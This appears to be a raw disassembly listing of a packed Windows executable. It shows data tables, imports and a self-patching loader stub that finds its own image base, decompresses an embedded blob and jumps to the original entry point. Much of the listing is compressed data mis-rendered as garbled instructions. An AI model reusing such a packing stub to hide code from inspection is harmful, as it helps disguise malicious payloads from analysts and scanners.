dword_4E98C8	dd 2560000h						; sub_420610+FBr ...
dword_4E98CC	dd 1							; sub_420610:loc_4206AEr ...
dword_4E98D0	dd 0							; sub_4273E0+9r ...
dword_4E98D4	dd 0							; sub_4268C0+4B3r ...
dword_4E98D8	dd 0							; sub_4268C0+5C1w ...
		align 10h
dword_4E98E0	dd 0							; sub_4268C0+477r ...
dword_4E98E4	dd 0							; sub_426800+6r ...
dword_4E98E8	dd 0							; sub_426790+1Br ...
dword_4E98EC	dd 0							; sub_425D30+6Dr ...
dword_4E98F0	dd 0							; .XComp0:00424D0Fw ...
dword_4E98F4	dd 25624C8h						; sub_4249E0+4Dr ...
		align 10h
dword_4E9900	dd 400h	dup(0)						; .XComp0:0044FF50o
dword_4EA900	dd 200h							; sub_4249E0+Dw ...
dword_4EA904	dd 142340h						; sub_431830:loc_431842r ...
dword_4EA908	dd 1							; sub_43C420+Er
dword_4EA90C	dd 1							; sub_42BFE0+16w ...
dword_4EA910	dd 2562410h						; sub_423BB0+19r ...
dword_4EA914	dd 2562410h						; sub_421880+5Ar ...
dword_4EA918	dd 0							; .XComp0:0042087Fw ...
byte_4EA91C	db 0			; DATA XREF: sub_43D400+5r
					; sub_43D400+11r ...
		align 10h
		dd 1B8h	dup(0)
; ---------------------------------------------------------------------------
		test	edx, 0C2F77EC2h
		retn	0F77Eh
; ---------------------------------------------------------------------------
		retn	7EC2h
; ---------------------------------------------------------------------------
		test	edx, 0C2F77EC2h
		retn	697Eh
; ---------------------------------------------------------------------------
		xlat
		retn	695Eh
; ---------------------------------------------------------------------------
		xlat
		retn	695Eh
; ---------------------------------------------------------------------------
		xlat
		retn	695Eh
; ---------------------------------------------------------------------------
		xlat
		retn	695Eh
; ---------------------------------------------------------------------------
		xlat
		retn	0AF5Eh
; ---------------------------------------------------------------------------
a1gp1gp1gp1gp1g	db '{1G¯{1G¯{1G¯{1G¯{1G',0
		align 10h
		dd 82h dup(0)
		dd 47317BAFh, 3	dup(0)
		dd 5EC2D769h, 10h dup(0)
		dd 7EC2C2F7h, 26F0000h,	2700000h, 2710000h, 2720000h, 272112Dh
		dd 2730000h, 2740000h, 2740B6Eh, 2750000h, 275017Dh, 2760000h
		dd 2770000h, 2770146h, 277053Eh, 2780000h, 278032Fh, 278082Fh
		dd 278099Eh, 2790000h, 27903BEh, 279049Fh, 7C81CDDAh, 2790578h
		dd 2790973h, 27A0000h, 27B0000h, 27B048Ah, 27B05E2h, 27B0806h
		dd 27B0949h, 27B0F5Ah, 27B0F7Fh, 27C0000h, 27C0342h, 27C0595h
		dd 27C0753h, 27C08F0h, 27D0000h, 27D079Eh, 27D082Ah, 27E0000h
		dd 27E0D0Ah, 27F0000h, 27F0281h, 2800000h
dword_4EB354	dd 2810000h			dd 2820000h, 2830000h, 7C9010EDh, 7C901005h, 28307C1h
		dd 2840000h, 28407DDh, 2850000h, 28503F0h, 28504AFh, 2850A56h
		dd 2860000h, 2861614h, 2870000h, 2871072h, 28713A9h, 287171Bh
		dd 2880000h, 28806ADh, 2890000h, 28A0000h, 28A1045h, 28A1CFEh
		dd 28B0000h, 28B0217h, 28C0000h, 28C07A2h, 28D0000h, 28D04CEh
		dd 28D06EAh, 28E0000h, 28E06EDh, 28F0000h, 2900000h, 290039Dh
		dd 2910000h, 2920000h, 292045Dh, 29208ECh, 2930000h, 2940000h
		dd 29415F4h, 2941B69h, 2950000h, 29501ADh, 2950A89h, 2950B3Fh
		dd 2960000h, 29609DEh, 29609FCh, 7C859B72h, 2960BBFh, 2970000h
		dd 2970537h, 29706D2h, 2980000h, 2990000h, 29A0000h, 29A0CE3h
		dd 29A0E5Dh, 29B0000h, 29B0939h, 29B0A6Dh, 29B0CABh, 29B0CE4h
		dd 29C0000h, 29C03CFh, 29C0B2Ah, 29C0C92h, 29C0ECDh, 29D0000h
		dd 29D07D4h, 29D07E5h, 29D07FFh, 29E0000h, 29F0000h, 29F129Ah
		dd 29F166Ah, 29F182Bh, 29F1877h, 0
		dd 77C019FFh, 77C01A50h, 77C018BAh, 0
		dd 71AB2BF4h, 71AB2B66h, 71AB406Ah, 71AB4428h, 71AB664Dh
		dd 71AB3EA1h, 71AB4519h, 71AB3E00h, 71AB88D3h, 71AC1028h
		dd 71AB615Ah, 71AB9639h, 71AB3B91h, 71AB428Ah, 71AB2DC0h
		dd 71AB4544h, 6C5h dup(0)
dword_4ED000	dd 7C801A24h, 7C81CDDAh, 0; resolved to->KERNEL32.CreateFileAdword_4ED00C	dd 5D0965CFh, 4	dup(0); resolved to->COMCTL32.InitCommonControls		dd offset dword_4ED050
		dd offset dword_4ED000
		dd 3 dup(0)
		dd offset byte_4ED079
		dd offset dword_4ED00C
		dd 5 dup(0)
dword_4ED050	dd 4E52454Bh, 32334C45h, 6C6C642Eh, 43000000h, 74616572h
					; DATA XREF: .XComp0:004ED020o
		dd 6C694665h, 4165h, 69784500h,	6F725074h, 73736563h
		db 0
byte_4ED079	db 43h,	4Fh, 4Dh	; DATA XREF: .XComp0:004ED034o
		dd 334C5443h, 6C642E32h, 6Ch, 74696E49h, 6D6D6F43h, 6F436E6Fh
		dd 6F72746Eh, 736Ch, 3D9h dup(0)
		dd 92B34D15h, 4B4D7h, 68C50h, 0A3172h, 0
; ---------------------------------------------------------------------------
		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4EE086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4EE041
		popa
		jmp	short loc_4EE076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		db 0E0h, 4Eh, 0
		dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------


loc_4EE041:				; CODE XREF: .XComp0:004EE02Cj
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4EE04E:				; CODE XREF: .XComp0:004EE072j
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4EE06D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4EE074


loc_4EE06D:				; CODE XREF: .XComp0:004EE059j
		sub	eax, 1000h
		jmp	short loc_4EE04E
; ---------------------------------------------------------------------------


loc_4EE074:				; CODE XREF: .XComp0:004EE06Bj
		mov	edi, eax


loc_4EE076:				; CODE XREF: .XComp0:004EE02Fj
		jmp	loc_4EE265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 0EE26Ah
		add	ecx, edi
		jmp	short loc_4EE090
; ---------------------------------------------------------------------------


loc_4EE086:				; CODE XREF: .XComp0:004EE01Cj
		mov	eax, offset loc_56B5ED
		mov	ecx, offset word_4EE26A


loc_4EE090:				; CODE XREF: .XComp0:004EE084j
		push	eax
		push	ecx
		call	sub_4EE11B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4EE265
; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4EE11B	proc near		; CODE XREF: .XComp0:004EE092p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4EE127:				; CODE XREF: sub_4EE11B:loc_4EE13Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4EE132:				; CODE XREF: sub_4EE11B+7Aj
					; sub_4EE11B+C3j ...
		add	dl, dl
		jnz	short loc_4EE13B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4EE13B:				; CODE XREF: sub_4EE11B+19j
		jnb	short loc_4EE127
		add	dl, dl
		jnz	short loc_4EE146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4EE146:				; CODE XREF: sub_4EE11B+24j
		jnb	short loc_4EE197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4EE153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4EE153:				; CODE XREF: sub_4EE11B+31j
		jnb	loc_4EE238
		add	dl, dl
		jnz	short loc_4EE162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4EE162:				; CODE XREF: sub_4EE11B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4EE16D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4EE16D:				; CODE XREF: sub_4EE11B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4EE178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4EE178:				; CODE XREF: sub_4EE11B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4EE183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4EE183:				; CODE XREF: sub_4EE11B+61j
		adc	eax, eax
		jz	short loc_4EE18D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4EE18D:				; CODE XREF: sub_4EE11B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4EE132
; ---------------------------------------------------------------------------


loc_4EE197:				; CODE XREF: sub_4EE11B:loc_4EE146j
		mov	eax, 1


loc_4EE19C:				; CODE XREF: sub_4EE11B:loc_4EE1B0j
		add	dl, dl
		jnz	short loc_4EE1A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4EE1A5:				; CODE XREF: sub_4EE11B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4EE1B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4EE1B0:				; CODE XREF: sub_4EE11B+8Ej
		jb	short loc_4EE19C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4EE1E3
		mov	ecx, 1


loc_4EE1C0:				; CODE XREF: sub_4EE11B:loc_4EE1D4j
		add	dl, dl
		jnz	short loc_4EE1C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4EE1C9:				; CODE XREF: sub_4EE11B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4EE1D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4EE1D4:				; CODE XREF: sub_4EE11B+B2j
		jb	short loc_4EE1C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4EE132
; ---------------------------------------------------------------------------


loc_4EE1E3:				; CODE XREF: sub_4EE11B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4EE1F1:				; CODE XREF: sub_4EE11B:loc_4EE205j
		add	dl, dl
		jnz	short loc_4EE1FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4EE1FA:				; CODE XREF: sub_4EE11B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4EE205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4EE205:				; CODE XREF: sub_4EE11B+E3j
		jb	short loc_4EE1F1
		cmp	eax, 7D00h
		jnb	short loc_4EE228
		cmp	eax, 500h
		jb	short loc_4EE223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4EE132
; ---------------------------------------------------------------------------


loc_4EE223:				; CODE XREF: sub_4EE11B+F8j
		cmp	eax, 7Fh
		ja	short loc_4EE22B


loc_4EE228:				; CODE XREF: sub_4EE11B+F1j
		add	ecx, 2


loc_4EE22B:				; CODE XREF: sub_4EE11B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4EE132
; ---------------------------------------------------------------------------


loc_4EE238:				; CODE XREF: sub_4EE11B:loc_4EE153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4EE259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4EE132
; ---------------------------------------------------------------------------


loc_4EE259:				; CODE XREF: sub_4EE11B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4EE11B	endp

; ---------------------------------------------------------------------------


loc_4EE265:				; CODE XREF: .XComp0:loc_4EE076j
					; .XComp0:004EE0B1j
		jmp	loc_56B5ED
; ---------------------------------------------------------------------------
word_4EE26A	dw 38E9h		; DATA XREF: .XComp0:004EE08Bo
		dd 1523568h, 0B892C8AFh, 23BFFE42h, 0C847B822h,	0EA47B835h
		dd 848B36BCh, 124AF6Ah,	0ADD5730h, 0F5E7057Eh, 14B33D9h
		dd 79778570h, 0F13DC278h, 3CB21421h, 0DC71BCEFh, 0E4DD2103h
		dd 0DD215C24h, 0E655278h, 72617473h, 17704167h,	0CE78A72Eh
		dd 22ABEB10h, 0AF0EE198h, 3DA511C8h, 0A01F9F8h,	685400BFh
		dd 64696D65h, 14AE161h,	6883EBEEh, 2F84057Eh, 420138FAh
		dd 8B87BBBEh, 60D421C5h, 5D20C2E8h, 177ED81h, 8905F935h
		dd 8418E995h, 2BA5B50Dh, 13D18542h, 0E2BD8303h,	74010E21h
		dd 0C8E88B0Ch, 0FD9EB8E2h, 70F1C29Eh, 10C72444h, 608753Eh
		dd 0A3E8456Ah, 9A680729h, 0A5078374h, 250A01DFh, 0E90A894Bh
		dd 14E910D5h, 7DECA502h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		lodsb
		out	dx, al
		add	al, 5Ah
		sub	edx, 8B003665h
		fcmovb	st, st(7)


loc_4EE34F:				; CODE XREF: .XComp0:004EE36Cj
		inc	ebp
		fcom	dword ptr [ecx+400EB108h]
		mov	[edi-33827EF8h], ecx
		sbb	byte ptr ds:200F6774h, 8
		repne or edi, 49h
		adc	bh, bh
		xchg	dl, [edx]
		inc	ebx
		jmp	short loc_4EE34F
; ---------------------------------------------------------------------------
		dw 3736h
; ---------------------------------------------------------------------------
		fsub	qword ptr [ecx+26h]
		inc	ecx
		leave
		retn	4004h
; ---------------------------------------------------------------------------
		dd 7CC48146h, 4902FF68h, 8D40AEE4h, 5D8B8045h, 85C70814h
		dd 8D504419h, 0C3D10AA0h, 4118880Ah, 818A0B89h,	5D2006BDh
		dd 27E37529h, 8EBA8D42h, 8075C064h, 49BB0E8Ah, 0B8005BF4h
		dd 785437ABh, 0FFCD0D3h, 754B08C3h, 0C3AFB0F7h,	4A465247h
		dd 0F92A4646h, 61D12B42h, 75D0A08Ah, 0EE8AFDF0h, 0A4DFC45h
		dd 3CAD04EBh, 3E80468Ch, 0BA53F740h, 61346E84h,	7FEB0C7Dh
		dd 0CCF83E90h, 84F0126Dh, 10F40ECAh, 65C14A81h,	0D64004F0h
		dd 39E0D1F8h, 2860C203h, 1C8ADB33h, 0FB80301Ch,	0A0A72CCh
		dd 5773D39h, 67F2EB3Eh,	0F6611422h, 667F0A0Dh, 5F1E086Fh
		dd 0AC0AC34Eh, 30411A10h, 460A0B72h, 24DE0677h,	5D0118A2h
		dd 83F4ECF0h, 21B7D73h,	370CB072h, 66A576C0h, 0F84126AAh
		dd 6A8D07CEh, 553B00A8h, 78820FFCh, 0C1B0BDA9h,	5038BEAAh
		dd 0B9E008BAh, 0FCA870E0h, 3740F4BDh, 470F01FEh, 0B9FA7549h
		dd 0DC6AC522h, 0E17D01BBh, 0EB82F11Dh, 8E6002B7h, 0E39FD86h
		dd 655106FAh, 77D1360Fh, 0C4268A3Bh, 5910F9E9h,	15F0A2B4h
		dd 7B2811C0h, 8CF7C1h, 198B0ED6h, 47FD4C58h, 0A663CC07h
		dd 0D594FCADh, 5C609887h, 60E9C32Ch, 2B213F12h,	3B01A233h
		dd 6035E8A4h, 39E807D3h, 98E40304h, 5CDA8C96h, 0ECF18A30h
		dd 0C00C8E10h, 0DCBA613Fh, 17002DDFh, 734DBC67h, 70CB8C62h
		dd 82F234h, 765B4E39h, 51B8100Fh, 0D1043D1Fh, 46983B1Dh
		dd 75097544h, 0E11602Eh, 65E4EC48h, 79069028h, 5C58401h
		dd 3A10968Eh, 3C539642h, 29C2042Ah, 5718C06h, 0DD0EE782h
		dd 2BFF98C2h, 4607781h,	0C1341D22h, 33F90C84h, 3FBC2075h
		dd 0B30ABB83h, 23039EFh, 4CEC419Ch, 0FFCC7F8Ch,	7F8640FCh
		dd 60E95245h, 52C46280h, 25044D8Ch, 0B1AA8211h,	5A68AB26h
		dd 56451384h, 825EFC30h, 811B55EEh, 27D91D42h, 10B9D58Ah
		dd 97292313h, 0D98B4143h, 8007D910h, 34CC8217h,	3A1E1CDAh
		dd 8C808D67h, 5E281DBh,	5418016Bh, 212D04E9h, 14C4725Ch
		dd 0AA255D8Ah, 16084533h, 54442100h, 81518BC4h,	612F28D8h
		dd 0F5D100A3h, 0B62FD40h, 863110CAh, 9EA3138h, 0C6A30B80h
		dd 5C08F2F9h, 0C8A5670Eh, 0DE182C86h, 1217A102h, 23F9C110h
		dd 3FB99E00h, 70138DDBh, 64600CCh, 0C2F66478h, 2DD825EAh
		dd 5214C482h, 887E2A1Fh, 0F60EA57h, 77C22B0Dh, 0BED31CD5h
		dd 3D3E4016h, 0AB9B46BFh, 1A86F4C3h, 893E5128h,	0CC165E11h
		dd 3A0449E4h, 2A674C74h, 0E914F8D2h, 0FBA580B4h, 5B109Fh
		dd 5F5C5455h, 2AC782FDh, 8CA96860h, 1F85B9D9h, 83753F95h
		dd 0C28634C1h, 0F3D1D7E7h, 0EAD8F90Fh, 53333ACh, 0C8DB3257h
		dd 30E3B9F2h, 8D0C2752h, 58020FEEh, 0C38CF961h,	33C262h
		dd 8F2DF083h, 5EF1484h,	0D326C449h, 0C000BBDFh,	643F8BFAh
		dd 420EE0C8h, 9EDE8FBBh, 8D0EF0Dh, 0E43A2F0h, 237EC7F0h
		dd 6517B60h, 0D00E3707h, 3C163FFh, 6BDD533h, 89686440h
		dd 0DA005136h, 0EAB183F7h, 311F502h, 372E25B6h,	6EA855E5h
		dd 79D9ECA2h, 2610E970h, 4A00C0F3h, 0C5C923C4h,	7D10B7D2h
		dd 0C73900ACh, 6029DBCFh, 0B6005D4Fh, 0A2DDDF72h, 30012FF0h
		dd 7B5168E5h, 63015D3Bh, 0AEE3CBABh, 0DC30AC80h, 0BC8730DFh
		dd 0D5FE6740h, 1C01C9F6h, 354F805Fh, 50BA78D2h,	307A141Ch
		dd 71E767FAh, 1203447Dh, 18827334h, 1A1808A3h, 0D68A148Bh
		dd 0E41164B7h, 0A45C7D00h, 0E87B5643h, 973A9206h, 3050ACE5h
		dd 6231D1BBh, 0FB003779h, 0BF38B185h, 0B09A88B4h, 1A501893h
		dd 0B007D156h, 0F482DE01h, 0CB1FD8CEh, 0F951C0h, 0B823AFD9h
		dd 0BFE76024h, 63315E61h, 80DECD53h, 0BBBDE980h, 3E7900BEh
		dd 5ABC8C61h, 202851AFh, 9520944Bh, 601AF071h, 6F494159h
		dd 0C500790Bh, 44C97C7h, 0C396E18h, 3BD11BDBh, 0BE7B6930h
		dd 0BB58A263h, 0D0D100D6h, 2E5D8D5Eh, 4A0FF12Fh, 0E09A5CCAh
		dd 0BB8B6582h, 4129C0B8h, 873EC4D3h, 9ED5A900h,	0D1E7371Ch
		dd 94B50BE5h, 0D40C51C9h, 624065A0h, 48FD0563h,	4F862DCFh
		dd 5CA129FCh, 61445EBCh, 8653F1A3h, 0CBE23318h,	616E0069h
		dd 1935B21h, 3F24E7B6h,	0EF0A00D3h, 4C9FD4DDh, 0A02AE001h
		dd 822ABD6h, 3D62D509h,	0C7716420h, 38CEE74Fh, 0B4BD8A31h
		dd 3543DB40h, 0E6658053h, 48D5BF20h, 0E2C06844h, 0A18827B4h
		dd 90205700h, 4C55A252h, 0E921C1DEh, 85B10BEDh,	5ED5F738h
		dd 0EFB93C01h, 3005E4A7h, 575A6554h, 0EB485588h, 9C0249B8h
		dd 56B07D9h, 0B8E75840h, 0BB0A2091h, 0EE8088CFh, 33C38F55h
		dd 0FF2801D4h, 0E3345094h, 0AF2183CEh, 44B5A5Dh, 5355D760h
		dd 38F85ACCh, 1AB9128h,	99F98672h, 41899EFCh, 4C29784h
		dd 53965A87h, 0EF6800D1h, 0C7E51C32h, 0D47F10E4h, 1B160A00h
		dd 40847B6Ah, 3F49020h,	554FFA2Ah, 887D730Eh, 10DEDDEDh
		dd 6067B5C9h, 53A5609Bh, 10926924h, 8148E648h, 0FBD05B64h
		dd 39D45098h, 0EF79B5E0h, 0E5A8B650h, 0F78D7E15h, 3D7C00ACh
		dd 4BDB046Bh, 5080E559h, 0CC31035Ch, 2F003BBAh,	0A4710F94h
		dd 25ED36h, 917BB107h, 7AA999A8h, 0B3F7D905h, 87807202h
		dd 1D52A371h, 0BAB9A5h,	6E5CED8Eh, 3F071891h, 5BB098F7h
		dd 1481AD81h, 9305020h,	0F5767C1Ch, 0FAB39A00h,	2700F971h
		dd 92DD8FAEh, 51942Ch, 0B8A502A2h, 82A3B7FEh, 3112BB00h
		dd 9EC016D5h, 0BE7709CCh, 0C8279AD7h, 0A6248075h, 0C524E186h
		dd 558A30E3h, 43C2A452h, 4BD900D2h, 89807165h, 0A698A851h
		dd 194D0023h, 12F0F552h, 0A30040E8h, 781ED02Dh,	243C1DE9h
		dd 9C780F7h, 5421BD73h,	354AF65Dh, 0F91820CCh, 0D0204941h
		dd 0F15B8964h, 4E7186D5h, 7195F1Ah, 9203835h, 0D08AA9A7h
		dd 84DF1040h, 0AC4363BCh, 1900D3EFh, 655AB04Ch,	6DA0D5h
		dd 43D7DFC7h, 952B06D0h, 521A2201h, 4180077Ah, 38159088h
		dd 6ABDE30Eh, 0CD9298B9h, 1E476840h, 3F7525Dh, 97CF32FDh
		dd 0D0CEEA55h, 249CD54Ch, 0EF14C424h, 0F70C004Ch, 3C266B35h
		dd 84D491B6h, 94D1E2Dh,	194423B9h, 34C10260h, 0F6805EC5h
		dd 46AAB843h, 0DCC1CC04h, 44003679h, 0F1F7327h,	0A818C669h
		dd 0F07A6A8h, 0D5951378h, 8CA8B64Ah, 2B595519h,	20DABA00h
		dd 34D85F8h, 0A13006Ah,	8305774Fh, 60FB9490h, 5B883414h
		dd 0C4795543h, 3D5613FCh, 0B854024Ah, 0AB0284BFh, 0E23490F8h
		dd 10146479h, 7C5235h, 69D59C24h, 2E5A5F3h, 0CE22777h
		dd 2C41A2C0h, 0C9D18F41h, 0C897ACEDh, 940D5043h, 6461CDA8h
		dd 26D44840h, 19C7ED30h, 2AB665DBh, 44D45ADFh, 0DD00AFD2h
		dd 4344619Fh, 5BD6BE2h,	0D5C4242Ah, 9F24495Dh, 0E440E81Ah
		dd 0C040DFE7h, 2BACA067h, 0D0A280D4h, 0E710B898h, 0E424E543h
		dd 52114Ch, 9DE32299h, 486892CAh, 0FC00BF83h, 2A61661Bh
		dd 4D13DDB4h, 0FC0893A7h, 766380E8h, 62923833h,	1067DC02h
		dd 0E001F091h, 0B8800E00h, 3E433C20h, 12B4B329h, 0AC1C04A8h
		dd 23A08824h, 1144B120h, 7962B6E7h, 0BA016700h,	2A2056D7h
		dd 9638C460h, 74041246h, 0E002B75Dh, 88A03589h,	71A28594h
		dd 8C4C9200h, 0E60DCE2Ch, 9D7401BDh, 0D6E25D53h, 58282081h
		dd 12061A88h, 29612Eh, 4DD717D7h, 8013C54h, 0DFBA90E5h
		dd 688CCF77h, 33106D86h, 0F009E840h, 0A188D8B8h, 0CCA45FD5h
		dd 53DA2904h, 0E1018366h, 47BC6FCDh, 0C90820C4h, 0C54DD7E5h
		dd 34FF2E4Ch, 4B19308h
		dd 953FEFAFh, 7E5C0050h, 704235CFh, 62F0F8C7h, 4C9A8943h
		dd 1D00B469h, 0F9E39D9Fh, 437EECC6h, 0F498A3F6h, 17367920h
		dd 4FB3BE6Bh, 0FA004390h, 89522F45h, 15493B60h,	8BCCE7h
		dd 0ABD0C2Eh, 55CF98B9h, 78459630h, 1E09D0Fh, 0F75C80ADh
		dd 505A1A58h, 0BD66EFA0h, 7AEEF401h, 248AB589h,	0B1D933DCh
		dd 786800A0h, 0DA4FEF38h, 76074C92h, 6B7E44F9h,	5D510C80h
		dd 687D61BEh, 60FA5AA1h, 0B490CBC4h, 91AC2402h,	0A143EDB1h
		dd 10681EA0h, 88B9B470h, 0BE0360F8h, 7F3CF1EFh,	56C4A9E4h
		dd 0D71E30h, 9F991EEEh,	9BD143F3h, 7ADF3416h, 67D51C42h
		dd 30654Eh, 8B669D1Bh, 0EA0193B2h, 9A336539h, 0A2C44F4Ah
		dd 0CF950BBDh, 0DC2D6E5Dh, 9635F480h, 68087F50h, 0FDF96101h
		dd 0EC879D8Eh, 5FC0ABC1h, 8A8B967h, 11303485h, 8051E923h
		dd 3A59BE65h, 4B5512F0h, 0B9E7B421h, 35788C26h,	82115DBEh
		dd 7824E1B4h, 0CE8F5081h, 2209806h, 5DB57C65h, 0D53F0CFEh
		dd 0A260494Bh, 1C2D1C03h, 0C1FED388h, 1BA99112h, 13512C0Bh
		dd 0D7418040h, 1B2C96A3h, 0DBE0E9F0h, 1F013092h, 4F438555h
		dd 5028125Dh, 0A1601A3Ah, 0D5B266ECh, 7443500h,	0BEC917EEh
		dd 606F002Dh, 0C27A8B4Eh, 91C05288h, 0A5DE2A6Dh, 7AD094ACh
		dd 94ECB0E4h, 7EEDA900h, 0BD0F0CDEh, 2B50381h, 0F32B305Bh
		dd 541A18B8h, 988689C7h, 0D532F30h, 5A4C0079h, 58CE63F1h
		dd 0EA0208CBh, 15A047BBh, 0E39C0042h, 2C269407h, 3760E0EBh
		dd 0A4DA05h, 10D99CD0h,	5F31FC61h, 0A3C1C3Ch, 0E4551553h
		dd 97E11830h, 78757C06h, 881403D8h, 0DBACDDA5h,	0DF334012h
		dd 654F4891h, 0BF0054D9h, 0B309C9BAh, 2C663B5h,	60E41A04h
		dd 9044B94Fh, 4B56155Ch, 0AC58C0D1h, 3468A101h,	80ABBB97h
		dd 0B6F13751h, 9714A31h, 0D8EBC758h, 20560861h,	9501E57Ch
		dd 12E1DBE7h, 586078A7h, 47FF037Ah, 1531DC2Fh, 4F773DA8h
		dd 12DA9202h, 9CCF7FA8h, 85C14404h, 0C5A2B00h, 48F0AE1Ah
		dd 61798D4h, 9B038FC9h,	7F06180Dh, 88918EE0h, 4EE0040h
		dd 84BF3955h, 0C37AEB19h, 2A150F00h, 0AD4EE9DBh, 13E300DFh
		dd 19E6E0FEh, 481BECAEh, 0E35882E7h, 696810D7h,	2E4C066Ah
		dd 1B28D660h, 990DA5B5h, 72670087h, 0CB0F3201h,	80310EE9h
		dd 8B8CCD46h, 30145617h, 0E88065C8h, 4B9027ACh,	4D8D0F8Ah
		dd 4608C0Dh, 48F29A75h,	8C29196Fh, 0E7E1BCh, 58C2CC9Fh
		dd 0C51323EFh, 0D0C1F418h, 18C46F0h, 0CB4C8B8h,	43763731h
		dd 380C7EA8h, 90C6BC1Eh, 88A52F2h, 1161900Ch, 54374CD8h
		dd 6E8141BBh, 0F181104Ah, 90F2604Fh, 0A7918321h, 1BE0429h
		dd 0E9F3CB79h, 821D910Ah, 4B51221h, 8CE8A0CDh, 0A84C29F1h
		dd 54238718h, 900AE08Fh, 3471C872h, 4272EA87h, 8027F902h
		dd 0CD81C8DCh, 0D083EB14h, 0A71E13FBh, 8B284104h, 20938D68h
		dd 2488BCD0h, 0AFD8C54Fh, 44CC4F62h, 9FD82F0Ah,	13CE8160h
		dd 48597E7Ch, 40F38FF8h, 0A9A68B4Ch, 0F7A0C551h, 0D1004C93h
		dd 8C9D631Fh, 0E89562EBh, 5FD100E7h, 0CCC7F127h, 8188630h
		dd 0AA91A958h, 8DDF1839h, 753211ABh, 0DA410902h, 0A66F4C6Eh
		dd 2A100FD0h, 800C4Ah, 0DBC59E88h, 240A9880h, 0FC181361h
		dd 285AA952h, 18A72719h, 0C284E10h, 58CC3F9Ch, 0D4A304h
		dd 6E3B4558h, 0E83E9D79h, 42158974h, 1A4842Bh, 9ACCD7F1h
		dd 405ADB39h, 428F7A03h, 3900852Ch, 311B02B6h, 0C8B3086h
		dd 0F92C6ADh, 37496991h, 88FF1A4Ch, 53C3731h, 42734D6Eh
		dd 42E926A4h, 0E01D3C44h, 34297C8Dh, 0C10B4979h, 39631FBh
		dd 186BA320h, 0D1AF6A30h, 0AE0E486Fh, 62853209h, 8E40D088h
		dd 0B2BC9548h, 0DF1836EFh, 8661E690h, 6C52487Fh, 0A92FF840h
		dd 0CE3D5A8h, 0E009B539h, 0FD640E61h, 0FB2123A9h, 972C007Dh
		dd 2D42184Fh, 8D0A718Ah, 0F25E0F00h, 9AB826B6h,	35F37E6Ah
		dd 91D062h, 8E307970h, 6E18AA69h, 8F813A4Bh, 44893ED7h
		dd 94205D29h, 9084BC01h, 7E648038h, 9C909703h, 0A04448h
		dd 0AF512CE3h, 0D428757Fh, 0DC101008h, 77007970h, 0E6D6A0E3h
